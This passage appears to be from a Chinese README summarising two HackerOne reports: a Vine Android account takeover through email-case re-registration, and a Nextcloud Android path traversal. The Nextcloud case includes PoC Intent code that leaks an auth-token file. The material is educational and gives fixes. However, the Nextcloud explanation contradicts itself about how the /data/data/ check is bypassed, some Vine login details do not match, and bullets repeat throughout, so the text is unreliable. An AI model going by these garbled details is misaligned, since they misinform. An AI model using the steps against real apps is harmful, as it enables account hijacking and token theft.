- 验证新账户登录: 攻击者使用第二个账户的凭证(
firstaccountmail@gmail.com和第二个密码)进行登录,成功登录到第二个新创建的账户。这证实了利用大小写差异注册的新账户成功地覆盖了与该邮箱地址关联的登录凭证。
- 验证新账户登录: 攻击者使用第二个账户的凭证(
- 评估严重性: 进一步的分析发现,如果受害者尝试通过邮件重置密码,系统会重置第二个(攻击者创建的)账户的密码,使得受害者无法通过正常途径恢复其原始账户数据。此外,该漏洞在Vine默认不要求邮件确认的情况下,可以无需用户交互地影响大量用户,具有较高的严重性。
使用的工具和方法:
- Vine Android Application: 直接在应用内进行注册和登录操作。
- 手工测试/逻辑分析: 通过构造大小写不同的邮箱地址进行注册,验证系统对邮件地址的唯一性校验逻辑是否存在缺陷。
- 邮件服务(隐含): 用于接收或模拟接收重置密码邮件,以验证账户恢复流程的有效性。
整个挖掘过程是典型的逻辑漏洞测试,重点在于发现应用在处理用户身份标识(邮箱)时的不一致性。
技术细节
该漏洞利用的核心在于邮件地址大小写不敏感的特性被应用后端错误处理,导致账户覆盖。
攻击流程和技术细节:
- 攻击者准备: 确定一个目标邮箱地址,例如
firstaccountmail@gmail.com。
- 攻击者准备: 确定一个目标邮箱地址,例如
- 步骤一:创建原始账户(模拟受害者):
- 操作: 攻击者(或受害者)使用邮箱
firstaccountmail@gmail.com和密码Bla123注册Vine账户。
- 操作: 攻击者(或受害者)使用邮箱
- 结果: 账户A创建成功。
- 步骤一:创建原始账户(模拟受害者):
- 步骤二:利用大小写差异覆盖账户:
- 操作: 攻击者再次使用Vine Android应用注册,但这次使用大小写不同的邮箱地址,例如
Firstaccountmail@gmail.com,并设置新密码NewPass456。
- 操作: 攻击者再次使用Vine Android应用注册,但这次使用大小写不同的邮箱地址,例如
- 技术细节: 尽管许多邮件系统(如Gmail)在技术上将
firstaccountmail@gmail.com和Firstaccountmail@gmail.com视为同一个邮箱,但Vine的注册逻辑(可能是在前端或应用层)未能将邮箱地址标准化为统一格式(如全部小写),并将其发送给后端。后端在进行唯一性检查时,可能因为数据库配置或查询语句的缺陷,将大小写不同的字符串视为不同的用户标识,从而允许新账户B的创建。
- 技术细节: 尽管许多邮件系统(如Gmail)在技术上将
- 步骤二:利用大小写差异覆盖账户:
- 步骤三:验证覆盖效果:
- 操作: 尝试使用账户A的凭证 (
firstaccountmail@gmail.com,Bla123) 登录。
- 操作: 尝试使用账户A的凭证 (
- 结果: 登录失败。
- 操作: 尝试使用账户B的凭证 (
firstaccountmail@gmail.com,NewPass456) 登录。
- 操作: 尝试使用账户B的凭证 (
- 结果: 成功登录到账户B。
- 结论: 账户B的创建成功地覆盖了与该邮箱地址关联的登录凭证,使得原始账户A无法通过原密码登录。
- 步骤三:验证覆盖效果:
关键代码/逻辑缺陷(概念性):
假设应用在处理邮箱地址时,未进行标准化处理,其伪代码可能如下:
// 注册时,未将email标准化为小写
String inputEmail = "Firstaccountmail@gmail.com"; // 用户输入
String normalizedEmail = inputEmail; // 错误:未执行 toLowerCase()
// 数据库查询:如果数据库配置为大小写敏感,或查询未强制大小写不敏感
// 第一次查询: SELECT * FROM users WHERE email = 'firstaccountmail@gmail.com' -> 找到账户A
// 第二次查询: SELECT * FROM users WHERE email = 'Firstaccountmail@gmail.com' -> 未找到,允许注册
// 注册成功后,新账户B的密码覆盖了与邮箱地址关联的登录凭证
// 登录时,系统可能只使用邮箱地址作为查询键,但由于密码已被新账户覆盖,导致旧密码失效。Payload/输入:
- 第一次注册邮箱:
firstaccountmail@gmail.com
- 第一次注册邮箱:
- 第二次注册邮箱(覆盖):
Firstaccountmail@gmail.com(或任意大小写组合,如fIrStAcCoUnTmAiL@gmail.com)
- 第二次注册邮箱(覆盖):
- 攻击效果: 成功将目标邮箱的登录凭证重定向到攻击者控制的新账户。
易出现漏洞的代码模式
此类漏洞的根本原因在于应用程序在处理用户身份标识(如邮箱地址)时,缺乏一致性的大小写标准化处理,导致在不同阶段(注册、登录、密码重置)对同一身份标识的识别出现偏差。
易出现此类漏洞的代码模式和配置:
- 未标准化用户输入: 在用户注册或更新邮箱时,未将邮箱地址统一转换为小写(或大写)格式。 错误代码示例(Java/Kotlin):
// 注册或登录处理函数 public User register(String email, String password) { // ❌ 错误:直接使用用户输入,未进行大小写标准化 String userEmail = email; // 检查邮箱是否已存在(如果数据库配置为大小写敏感,则可能允许重复注册) if (userRepository.findByEmail(userEmail) != null) { throw new IllegalArgumentException("Email already exists."); } // ... 创建新用户}正确代码模式:// 注册或登录处理函数 public User register(String email, String password) { // ✅ 正确:将邮箱地址标准化为小写 String normalizedEmail = email.toLowerCase(Locale.ROOT); // 使用标准化后的邮箱进行唯一性检查和存储 if (userRepository.findByEmail(normalizedEmail) != null) { throw new IllegalArgumentException("Email already exists."); } // ... 创建新用户,并存储 normalizedEmail}
- 未标准化用户输入: 在用户注册或更新邮箱时,未将邮箱地址统一转换为小写(或大写)格式。 错误代码示例(Java/Kotlin):
- 数据库配置或查询问题: 即使应用层进行了标准化,如果数据库配置为大小写敏感(例如某些Linux上的MySQL配置),并且查询时未强制大小写不敏感,也可能导致问题。 配置/查询缺陷示例:
- MySQL: 使用
COLLATE utf8_bin或其他大小写敏感的校对规则。 - 查询: 使用
=进行精确匹配,而不是使用大小写不敏感的查询方法。
正确数据库实践:
- 存储: 始终存储标准化(如小写)的邮箱地址。
- 查询: 确保用于唯一性约束的字段使用大小写不敏感的校对规则(如
utf8_general_ci),或在查询时使用数据库函数(如LOWER())进行匹配。
- 查询: 确保用于唯一性约束的字段使用大小写不敏感的校对规则(如
- MySQL: 使用
- 数据库配置或查询问题: 即使应用层进行了标准化,如果数据库配置为大小写敏感(例如某些Linux上的MySQL配置),并且查询时未强制大小写不敏感,也可能导致问题。 配置/查询缺陷示例:
- 身份验证逻辑缺陷: 在登录或密码重置流程中,如果系统首先根据用户输入的邮箱(未标准化)查找用户,然后进行密码验证,就可能导致攻击者利用大小写差异注册的账户成功覆盖原始账户的登录凭证。
总结: 这种漏洞通常发生在应用层和数据存储层对身份标识的规范化处理不一致时。开发者应始终在应用层将邮箱地址标准化为统一格式(如小写)后再进行存储和查询。
路径遍历绕过导致任意文件上传
案例:Nextcloud Android Client (报告: https://hackerone.com/reports/1416976)
挖掘手法
本次漏洞挖掘旨在绕过Nextcloud Android客户端中用于防止上传敏感文件(如/data/data/目录下的文件)的安全检查。研究人员通过静态分析或逆向工程,发现应用在处理文件上传时,会检查文件路径是否以/data/data/开头。如果路径以此开头,则阻止上传。
挖掘步骤和思路:
- 识别目标功能: 确定Nextcloud Android客户端中处理文件共享和上传的Activity(例如
UploadActivity)是攻击的入口点。该Activity允许其他应用通过Intent.ACTION_SEND或Intent.ACTION_SEND_MULTIPLE发送文件URI。
- 识别目标功能: 确定Nextcloud Android客户端中处理文件共享和上传的Activity(例如
- 分析安全检查: 检查应用如何验证传入的文件路径。发现应用使用了简单的字符串前缀检查:
if (file.getStoragePath().startsWith("/data/data/"))。
- 分析安全检查: 检查应用如何验证传入的文件路径。发现应用使用了简单的字符串前缀检查:
- 构造路径遍历Payload: 意识到简单的字符串检查容易被路径遍历(Path Traversal)技巧绕过。攻击者可以构造一个看似合规但实际指向敏感文件的路径。例如,构造一个包含
../(上级目录)的路径,使其在文件系统解析后指向应用私有目录之外的敏感文件。
- 构造路径遍历Payload: 意识到简单的字符串检查容易被路径遍历(Path Traversal)技巧绕过。攻击者可以构造一个看似合规但实际指向敏感文件的路径。例如,构造一个包含
- 验证Payload: 构造一个恶意的
Intent,将目标文件URI设置为包含路径遍历序列的Payload,例如file:///data/data/../data/data/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml。
- 验证Payload: 构造一个恶意的
- 执行攻击: 从一个恶意应用中启动该
Intent,Nextcloud应用接收到Intent后,其安全检查会通过(因为路径以/data/data/开头),但文件系统会解析../,最终读取到应用私有目录下的敏感配置文件(包含认证令牌)。
- 执行攻击: 从一个恶意应用中启动该
- 结果: Nextcloud应用被欺骗,将包含用户认证令牌的敏感文件作为普通文件上传到攻击者控制的Nextcloud服务器,导致敏感信息泄露。
关键发现点: 开发者错误地依赖字符串前缀检查来阻止访问敏感目录,而没有对文件路径进行规范化处理(Canonicalization),从而未能有效防御路径遍历攻击。
技术细节
漏洞利用的关键在于构造一个恶意的Intent,利用Nextcloud Android客户端在处理文件URI时的路径遍历漏洞,绕过其对敏感文件路径的检查,并触发文件上传功能。
恶意Intent构造示例(概念性PoC):
// 恶意应用中的代码片段
// 目标应用包名:com.nextcloud.client
// 目标Activity:com.nextcloud.client.ui.activity.UploadActivity
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setClassName("com.nextcloud.client", "com.nextcloud.client.ui.activity.UploadActivity");
// 构造包含路径遍历的Payload URI
// 目标是窃取应用私有目录下的共享偏好文件,其中包含认证令牌
String payloadPath = "file:///data/data/../data/data/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml";
Uri fileUri = Uri.parse(payloadPath);
intent.putExtra(Intent.EXTRA_STREAM, fileUri);
intent.setType("text/xml"); // 匹配目标Activity的Intent Filter
startActivity(intent);攻击流程:
- 恶意应用构造并发送上述
Intent给Nextcloud客户端的UploadActivity。
- 恶意应用构造并发送上述
- Nextcloud客户端接收到
Intent,并尝试获取文件路径进行安全检查。
- Nextcloud客户端接收到
- 应用代码执行路径检查:
file.getStoragePath().startsWith("/data/data/")。由于Payload路径以/data/data/开头,检查通过。
- 应用代码执行路径检查:
- 应用的文件处理逻辑随后读取Payload路径指向的文件。由于文件系统解析了
../,实际读取的是/data/data/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml文件。
- 应用的文件处理逻辑随后读取Payload路径指向的文件。由于文件系统解析了
- 该文件被当作普通文件上传到用户配置的Nextcloud服务器,攻击者通过监控服务器日志或共享链接即可获取该敏感文件,从中提取用户的认证令牌。
易出现漏洞的代码模式
此类漏洞通常出现在Android应用中,当应用接收外部输入(如Intent中的文件URI)并尝试访问本地文件时,如果对路径的验证不严格,就会导致路径遍历。
易漏洞代码模式:
- 不安全的路径检查: 仅使用字符串前缀检查(如
startsWith())来验证文件路径的安全性,而没有对路径进行规范化(Canonicalization)。java // 易受攻击的代码示例 (Java/Kotlin) String path = file.getStoragePath(); if (path.startsWith("/data/data/")) { // 认为路径安全,但未考虑路径遍历序列如 "../" // ... 处理文件 ... }
- 不安全的路径检查: 仅使用字符串前缀检查(如
- 未规范化路径: 在将外部提供的路径用于文件操作之前,未调用
File.getCanonicalPath()或File.getAbsolutePath()等方法来解析和规范化路径,导致../等序列被文件系统解析,从而逃逸出预期的目录。
- 未规范化路径: 在将外部提供的路径用于文件操作之前,未调用
- 组件导出配置不当: 允许外部应用调用敏感文件处理组件(如
Activity或Service)且未进行充分的权限检查。在AndroidManifest.xml中,如果相关组件设置了android:exported="true"且未设置适当的permission,则容易被恶意应用利用。
- 组件导出配置不当: 允许外部应用调用敏感文件处理组件(如
修复建议模式:
在进行任何文件操作之前,应获取文件的规范路径并进行严格检查。
// 安全的代码示例 (Java/Kotlin)
File file = new File(uri.getPath());
String canonicalPath = file.getCanonicalPath(); // 规范化路径,解析所有 ../
// 检查规范化后的路径是否在允许的目录内
String allowedDir = "/path/to/safe/directory";
if (canonicalPath.startsWith(allowedDir)) {
// 路径安全,继续操作
// ...
} else {
// 拒绝操作
}来源:https://github.com/s7safe/android-h1/edit/main/README.md



















暂无评论内容